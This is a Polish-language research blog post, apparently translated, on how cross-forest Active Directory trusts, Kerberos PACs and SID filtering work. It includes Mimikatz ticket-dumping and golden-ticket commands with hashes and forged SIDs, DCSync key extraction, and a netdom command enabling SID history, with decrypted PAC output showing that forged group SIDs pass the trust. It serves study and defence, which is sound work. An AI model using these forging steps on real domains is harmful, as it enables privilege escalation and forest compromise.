To jest pierwszy post z serii na temat cross-forest Active Directory trusts. Wyjaśni czym dokładnie są leśne zaufania i jak są one chronione za pomocą filtrowania SID. Jeśli jesteś nowy w temacie trustów Active Directory, polecam zacząć od przeczytania dogłębnego przewodnika harmj0y’a na ich temat. Po przeczytaniu jego (świetnego) wpisu miałem wiele pytań na temat tego jak to właściwie działa pod maską i jak zaufanie w obrębie tego samego lasu AD porównać z zaufaniem pomiędzy różnymi lasami. Ta seria blogów jest zarówno moją podróżą jak i dokumentacją tego jak badałem ten temat i jak go teraz rozumiem. Przygotuj się na głębokie zanurzenie w tematach takich jak zaufanie, Kerberos, złote bilety, mimikatz i impacket!
Ten post będzie omawiał zaufanie pomiędzy różnymi lasami. Las jest zbiorem jednej lub wielu domen, które są częścią jednego lub wielu drzew domen. W organizacjach posiadających tylko jedną domenę, domena ta tworzy również cały las. W dokumentacji Microsoftu, trusty są często nazywane albo interforest trusts (trusty pomiędzy dwoma różnymi lasami) albo intraforest trusts (trusty pomiędzy domenami w tym samym lesie). Ponieważ te słowa zawsze mnie mylą, w tym poście będę odnosił się do nich jako do trustów wewnątrz lasu, lub trustów między lasami (lub między lasami). Ważne jest również, aby pamiętać, że podczas gdy dyskutujemy o zaufaniu pomiędzy dwoma lasami, zaufanie jest zawsze definiowane pomiędzy domenami. Zaufania leśne mogą być tworzone tylko pomiędzy dwiema domenami głównymi różnych lasów, więc każda wzmianka w tym poście o zaufaniu leśnym jest zaufaniem pomiędzy dwoma różnymi domenami głównymi.
W obrębie jednego lasu, wszystkie domeny ufają sobie nawzajem i możesz eskalować z jednej skompromitowanej domeny do wszystkich innych, jak wyjaśniono w badaniach Seana Metcalfa na temat zaufań domenowych. Aby powtórzyć: Domena Active Directory nie jest granicą bezpieczeństwa, jest nią las Active Directory.
Będziemy również mówić o identyfikatorach bezpieczeństwa (SID). Identyfikator SID to coś, co jednoznacznie identyfikuje podmiot bezpieczeństwa, taki jak użytkownik, grupa lub domena. Jedna z domen w lasach testowych ma SID S-1-5-21-3286968501-24975625-1618430583. Znana grupa Domain Admins, która ma identyfikator 512, ma identyfikator SID składający się z identyfikatora SID domeny i identyfikatora (zwanego identyfikatorem RID w terminologii AD), co daje jej identyfikator SID S-1-5-21-3286968501-24975625-1618430583-512 w tej domenie.
Ustawienie
Ustawienie zawiera 3 lasy Active Directory: A, B i C. Zarówno las A, jak i las C mają dwukierunkowe, przechodnie zaufanie Forest z lasem B (dojdziemy do tego, co to dokładnie oznacza później). Las A i las C nie mają zaufania między sobą. Las A jest jedynym lasem z dwiema domenami: forest-a.local i sub.forest-a.local. Ponieważ obie te domeny są w lesie A, mają one dwukierunkowe zaufanie rodzic-dziecko między sobą. Konfiguracja jest pokazana na poniższym obrazku:
Domeny forest-a i forest-b posiadają kontroler domeny i serwer członkowski (nie pokazany na obrazku), pozostałe domeny składają się tylko z jednego kontrolera domeny. Cała ta konfiguracja działa w Azure i jest zarządzana przez Terraform, który obsługuje maszyny wirtualne, sieci, DNS i konfigurację lasów, podczas gdy Trusts zostały ręcznie skonfigurowane później.
Z A do B, co jest w PAC?
Załóżmy, że jesteśmy w lesie A i chcemy uzyskać dostęp do zasobów w lesie B. Mamy nasz Kerberos Ticket Granting Ticket (TGT), który jest ważny w domenie głównej lasu A, w którym obecnie jesteśmy (wygodnie nazywany forest-a). Kiedy chcemy uzyskać dostęp do zasobów poza naszą obecną domeną (w tym samym lesie lub w innym lesie), Windows potrzebuje biletu usługi dla tego zasobu, w tym przykładzie forest-b-server.forest-b.local. Nasz TGT dla forest-a jest oczywiście bezużyteczny w forest-b, ponieważ jest zaszyfrowany z hashem konta krbtgt w forest-a, którego forest-b nie posiada. W kategoriach Kerberosa, uwierzytelniamy się w innej sferze. Tak więc to, co robi nasz klient w tle, to żądanie biletu serwisowego dla zasobu, do którego próbujemy uzyskać dostęp w forest-b w kontrolerze domeny (DC) dla forest-a. DC (który w terminologii Kerberos jest Centrum Dystrybucji Kluczy, lub KDC) nie ma zasobu lokalnie z sufiksem forest-b.local, szuka jakichkolwiek zaufań z lasami, które mają ten sufiks.
Ponieważ istnieje dwukierunkowe zaufanie między lasem A i lasem B, DC z forest-a może wydać nam bilet skierowania (TGT) do forest-b. Ten bilet jest podpisany kluczem zaufania Kerberos inter-realm i zawiera grupy, których jesteśmy członkami w forest-a. Las B zaakceptuje ten bilet i przyzna nam Service Ticket dla forest-b-server, którego możemy użyć do uwierzytelnienia. Schematyczny przegląd pokazano poniżej:
Gdy połączymy się na naszej stacji roboczej w lesie A z serwerem w lesie B, możemy zobaczyć bilety za pomocą polecenia klist:
Drugi bilet od góry to nasz początkowy TGT, którego możemy użyć do zażądania TGT dla forest-b. Możesz zobaczyć ten TGT dla forest-b (na górze) ma krbtgt principal dla forest-b w polu serwera. Jest to konto w lesie A, które jest powiązane z zaufaniem (to konto nazywa się forest-b$ i znajduje się w części Users w katalogu). Jego zaszyfrowana część jest zaszyfrowana kluczem zaufania inter-realm, który współdzielą te domeny.
Trzeci bilet od góry to bilet, którego możemy użyć w lesie B, aby skontaktować się z tamtejszym serwerem. Jest to bilet serwisowy przekazany nam przez DC w lesie B. Jak widać w polu Server, ten bilet został wydany i jest ważny w sferze Kerberos FOREST-B.LOCAL.
Teraz zagłębmy się w to, co właściwie jest w tym bilecie. Każdy Kerberos TGT żądany przez Windows zawiera certyfikat atrybutu przywileju (Privilege Attribute Certificate, PAC). Format jest opisany w MS-PAC na MSDN. Ten PAC zawiera między innymi SID grup, których jesteśmy członkami. Aby zobaczyć, co faktycznie znajduje się w PAC, musimy najpierw pobrać bilety z pamięci. Do tego celu użyjemy programu Mimikatz, za pomocą którego możemy zrzucić wszystkie bilety Kerberosa na dysk poleceniem sekurlsa::tickets /export. Chociaż Mimikatz zawiera kod debugujący Kerberosa, nie udało mi się dowiedzieć jak on działa, a nie umiem pisać w C, więc modyfikowanie czegokolwiek i tak nie wchodziło w grę. Na szczęście moja ulubiona biblioteka Pythona impacket obsługuje wszystkie rodzaje Kerberosa. Impacket pobiera bilety Kerberosa w formacie ccache, który nie jest formatem eksportowanym przez Mimikatz, ale możemy je łatwo przekonwertować za pomocą kekeo. Wystarczy uruchomić komendę misc::convert ccache ourticket.kirbi, a Kekeo zapisze je jako plik .ccache, który możemy odczytać za pomocą Impacketa.
Do deszyfrowania PAC napisałem kilka narzędzi opartych na przykładach z impacketa, które udostępniam w ramach tych badań. Oczywiście, aby odszyfrować zaszyfrowane części biletów Kerberosa potrzebujemy kluczy szyfrujących, więc wyodrębniłem je dla wszystkich domen używając secretsdump.py i jego implementacji dcsync. Dla pierwszego TGT musimy dodać hash krbtgt do pliku. Na podstawie powyższego zrzutu ekranu widać, że będziemy potrzebować klucza aes256-cts-hmac-sha1-96 zrzuconego przez secretsdump.
Narzędzie getcfST.py jest używane do żądania Service Ticket w innym lesie na podstawie TGT w pliku .ccache (możesz określić plik do użycia za pomocą export KRB5CCNAME=myticket.ccaches). Spowoduje to odszyfrowanie i zrzucenie całego PAC, którego dane wyjściowe można zobaczyć tutaj dla zainteresowanych. Dodałem kilka linii kodu, które drukują ważne części w bardziej czytelnym dla człowieka formacie:
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1To jest całkiem domyślny PAC. Widzimy, że jesteśmy członkiem kilku grup, a ponieważ jest to konto Administratora (ID 500, choć ma inną nazwę) lasu A, z którym obecnie testujemy, jest ono członkiem kilku domyślnych grup administratorów, takich jak Domain Admins (512) i Enterprise Admins (519). Mamy również Extra SID S-1-18-1, który wskazuje, że uwierzytelniamy się na podstawie dowodu posiadania poświadczeń.
Aby odszyfrować drugi TGT, musimy zmienić klucz z konta krbtgt na ten z konta forest-b$, który jest kluczem zaufania inter-realm. W tym przypadku PAC jest szyfrowany za pomocą RC4, który używa hasha NT jako wejścia (tak, tego którego używasz do przekazywania hasha). Jest to ustawienie domyślne, chyba że zaznaczone jest pole „The other domain supports Kerberos AES Encryption”. Jak widać na surowym zrzucie, PAC nie zmienił się, co potwierdza przypuszczenie, że DC po prostu ponownie szyfruje PAC jako część biletu za pomocą klucza zaufania między domenami dla lasu B.
TGS to nieco inna historia. Poza tym, że wymaga kilku zmian w przykładzie getcfST.py, i trzeba podać klucz AES-256 konta komputerowego forest-b-server, aby go odszyfrować, widzimy, że więcej informacji zostało dodanych do PAC (surowy zrzut tutaj):
Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Widzimy, że została dodana nowa sekcja, zawierająca Domain SID domeny forest-b i grupy, której członkiem jest nasze konto w lesie B. Te SIDy są częścią struktur ResourceGroup w PAC i służą do przechowywania członkostwa we wszelkich domenowych grupach lokalnych w domenie forest-b. Jak wyjaśniono w tym poście przez harmj0y, grupy lokalne domeny są jedynymi grupami, które mogą zawierać zasady bezpieczeństwa z innych lasów. W domenie forest-b, nasz użytkownik superuser z lasu A jest członkiem grupy Testgroup2, którą można zobaczyć poniżej.
Ponieważ jest to odzwierciedlone w naszym PAC, który serwery, do których uwierzytelniamy się za pomocą naszego Kerberos Service Ticket używają do autoryzacji, wszelkie przywileje przypisane do Testgroup2 będą miały zastosowanie do konta superużytkownika z innego lasu. Tak właśnie działa uwierzytelnianie i autoryzacja w ramach trustów.
Złote bilety i filtrowanie SID
Kilka lat temu Sean Metcalf i Benjamin Delphy pracowali razem nad dodaniem obsługi SID History do Mimikatz, co umożliwiło eskalację z jednej domeny Active Directory do innej w ramach tego samego lasu. Procedura do tego jest szczegółowo opisana tutaj. Jak to się przekłada na zaufanie do innego lasu? Stwórzmy golden ticket z kilkoma interesującymi SIDami, aby zobaczyć jak są one przetwarzane podczas przekraczania granicy lasu. Używamy następującego polecenia Mimikatz, aby utworzyć złoty bilet w naszym obecnym lesie:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /pttRozbijmy to polecenie. Tworzymy złoty bilet w forest-a, podpisany krbtgt hashem forest-a. Jako dodatkowe SIDy dołączamy kilka ciekawych SIDów:
-
S-1-5-21-3286968501-24975625-1618430583-1604, SID grupy, do której w rzeczywistości nie należymy -
S-1-5-21-3286968501-24975625-1111111111-1605, SID domeny, która w rzeczywistości nie istnieje -
S-1-18-1, SID, który dodaje Windows wskazując, że uwierzytelniliśmy się dowodem posiadania credentali -
S-1-5-21-2897307217-3322366030-3810619207-1106, grupę wforest-b
Flaga /ptt wstrzyknie bilet do pamięci, a po przejściu do \forest-b-server.forest-b.local nie zobaczymy żadnego komunikatu o błędzie, wskazującego, że bilet został pomyślnie użyty do uzyskania dostępu do zasobu w forest-b. Eksportujemy bilety tak jak poprzednio i odszyfrowujemy je w taki sam sposób jak w poprzedniej sekcji.
TGT dla forest-a zawiera oczekiwane identyfikatory SID:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106TGT, który otrzymaliśmy dla forest-b od kontrolera domeny forest-a, podpisany kluczem zaufania inter-realm, w rzeczywistości zawiera dokładnie te same informacje:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106To ponownie sugeruje, że DC nie waliduje PAC, ale po prostu ponownie podpisuje go kluczem inter-realm dla forest-b, mimo że zawiera on grupę, której w rzeczywistości nie jesteśmy członkiem.
Po przedstawieniu tego TGT do DC w forest-b, otrzymujemy z powrotem nasz Service Ticket, który ma następujący PAC:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Co się tutaj stało? Widzimy, że ponownie nasze członkostwa w domenie forest-b zostały dodane do PAC, ale niektóre identyfikatory SID zostały odfiltrowane. W tym miejscu zadziałał mechanizm bezpieczeństwa filtrowania SID, odfiltrowując wszystkie SID, które nie są częścią forest-a. Reguły filtrowania SID są opisane w MSDN. Interesujące reguły tutaj to te z wpisem ForestSpecific. Te SIDs są dozwolone tylko z PAC z wewnątrz lasu. Ponieważ nasz PAC pochodzi spoza lasu, te SIDs będą zawsze filtrowane z naszego PAC. Trzy reguły po regułach ForestSpecific upewniają się, że wszystkie identyfikatory SID, które nie pochodzą z lasu A są odfiltrowywane. Obejmuje to zarówno nieistniejący SID, który dostarczyliśmy, jak i każdy inny niż ForestSpecific SID, który istnieje w lesie B.
To nadal pozwala nam udawać dowolnego użytkownika w lesie A, więc jeśli użytkownicy z lasu A otrzymali jakiekolwiek specjalne przywileje w lesie B (co jest prawdopodobnie powodem, dla którego całe zaufanie zostało ustanowione w pierwszej kolejności), są one teraz zagrożone.
Rozluźnienie filtrowania identyfikatorów
To, co przykuło moją uwagę na początku tych badań, to opcja dla trustów, która jest dostępna tylko poprzez narzędzie netdom i nie pojawia się w interfejsie graficznym. Jedna ze stron dokumentacji Microsoftu opisuje zezwalanie na historię SID w trustach międzyleśnych. Co to daje? Włączmy historię SID na zaufaniu z lasu B do A (co wpływa na użytkowników uwierzytelniających się z A w B):
C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.Więc co się zmieniło? Zobaczmy, jak to się przekłada na flagę TrustAttributes w obiekcie Trusted Domain. Możesz zapytać o to używając kilku narzędzi, poniżej pokazujemy wyjście pliku domain_trusts.html z ldapdomaindump uruchomionego przeciwko lasowi B, który jest narzędziem, które napisałem jakiś czas temu do zbierania informacji AD.
Nasz trust z lasem A ma teraz flagę TREAT_AS_EXTERNAL. W odpowiedniej dokumentacji Microsoft jest napisane, co następuje:
Jeśli ten bit jest ustawiony, to zaufanie międzyleśne do domeny ma być traktowane jako zaufanie zewnętrzne dla celów filtrowania SID. Cross-forest trusts są bardziej rygorystycznie filtrowane niż external trusts. Ten atrybut sprawia, że „cross-forest trusts” są równoważne „external trusts”. Aby uzyskać więcej informacji o tym, jak każdy typ zaufania jest filtrowany, zobacz sekcję 4.1.2.2.
To wskazuje z powrotem na sekcję, w której opisano filtrowanie SID. Zobaczmy, co się stanie, jeśli zaoferujemy ten sam TGT przeciwko forest-b DC:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Nasz Service Ticket z forest-b DC zawiera teraz wszystkie SID, które umieściliśmy w naszym wcześniejszym bilecie Mimikatz! Oznacza to, że możemy określić dowolny SID, który nie jest filtrowany jako ForestSpecific w naszym PAC i że zostanie on zaakceptowany przez DC lasu B.
Utwórzmy nowy golden ticket z kilkoma dodatkowymi SID, aby przetestować tę hipotezę:
kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101Nowe SID zawarte tutaj:
-
S-1-5-21-2897307217-3322366030-3810619207-512: Domain Admins, powinny być filtrowane przez jawną regułę ForestSpecific -
S-1-5-21-2897307217-3322366030-3810619207-519: Administratorzy przedsiębiorstw, powinni być filtrowani przez jawną regułę ForestSpecific -
S-1-5-21-2897307217-3322366030-3810619207-548: Account Operators, powinien być filtrowany przez regułę ForestSpecific wykluczającą SIDs pomiędzy 500 a 1000. -
S-1-5-21-2897307217-3322366030-3810619207-3101: Jest grupą, która jest członkiem Domain Admins, nie powinien być filtrowany.
Jak mogłeś zauważyć, powyższe jest podpisane kluczem zaufania inter-realm, więc tworzymy bezpośrednio TGT, który jest ważny dla lasu B tutaj, aby pominąć krok oferowania go do lasu A DC pierwszy.
Teraz otrzymujemy następujące informacje z powrotem w PAC naszego Service Ticket:
Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)Kilka rzeczy do odnotowania:
- Grupy DA/EA/Account Operators rzeczywiście zostały usunięte przez filtrowanie SID
- Grupa Domain Admins nie została dodana do części
ResourceGroupPAC, mimo że grupa 3101 jest bezpośrednim członkiem tej grupy. Dzieje się tak dlatego, że grupa Administratorzy domeny jest grupą globalną, podczas gdy w PAC dodawane są tylko grupy lokalne domeny.
To, co to oznacza dla atakującego, to możliwość sfałszowania dowolnej grupy RID >1000, jeśli historia SID jest włączona w całym lesie zaufania! W większości środowisk, pozwoli to atakującemu na kompromitację lasu. Na przykład grupy bezpieczeństwa Exchange, które pozwalają na eskalację uprawnień do DA w wielu konfiguracjach mają RIDy większe niż 1000. Ponadto wiele organizacji posiada niestandardowe grupy dla administratorów stacji roboczych lub helpdesków, które posiadają uprawnienia lokalnego administratora na stacjach roboczych lub serwerach. Na przykład, właśnie nadałem grupie IT-Admins (z RID 3101, który jest częścią naszego złotego biletu) uprawnienia administratora na maszynie forest-b-server. Po wymianie naszego TGT na Service Ticket, możemy uwierzytelnić się z tym biletem na maszynie:
Conclusions
Cross-forest trusts are by default strictly filtered and do not allow any SIDs from outside that forest to travel over the trust. Atakujący, który narusza las, któremu ufasz, może jednak podszyć się pod dowolnego użytkownika tego lasu, a tym samym uzyskać dostęp do zasobów, które zostały jawnie przyznane użytkownikom/grupom w tym lesie.
Jeśli historia SID jest włączona dla zaufania między lasami, bezpieczeństwo jest znacznie osłabione i atakujący mogą podszywać się pod członkostwo w każdej grupie z RID większym niż 1000, co w większości przypadków może doprowadzić do kompromitacji lasu.Jeśli jesteś administratorem IT, uważnie rozważ, którzy użytkownicy z różnych lasów udzielasz dostępu w swoim lesie, ponieważ każdy użytkownik, któremu udzielono dostępu, osłabia granicę bezpieczeństwa między lasami. Nie zalecałbym zezwalania na historię SID między lasami, chyba że jest to absolutnie konieczne.
W następnej części (lub częściach, kto wie) zanurkujemy w to, jak działa trust Transitivity i omówimy inne typy trustów z domenami poza lasem. Oznacza to, że zaczniemy również grać z Forest C i sub.forest-a.
Narzędzia
Narzędzia użyte w tym poście są dostępne jako proof-of-concept na moim GitHubie. Narzędzia te będą wymagały ręcznej modyfikacji, aby były użyteczne i są udostępnione tylko AS-IS dla ludzi, którzy chcą odtworzyć lub zanurzyć się dalej w tych badaniach.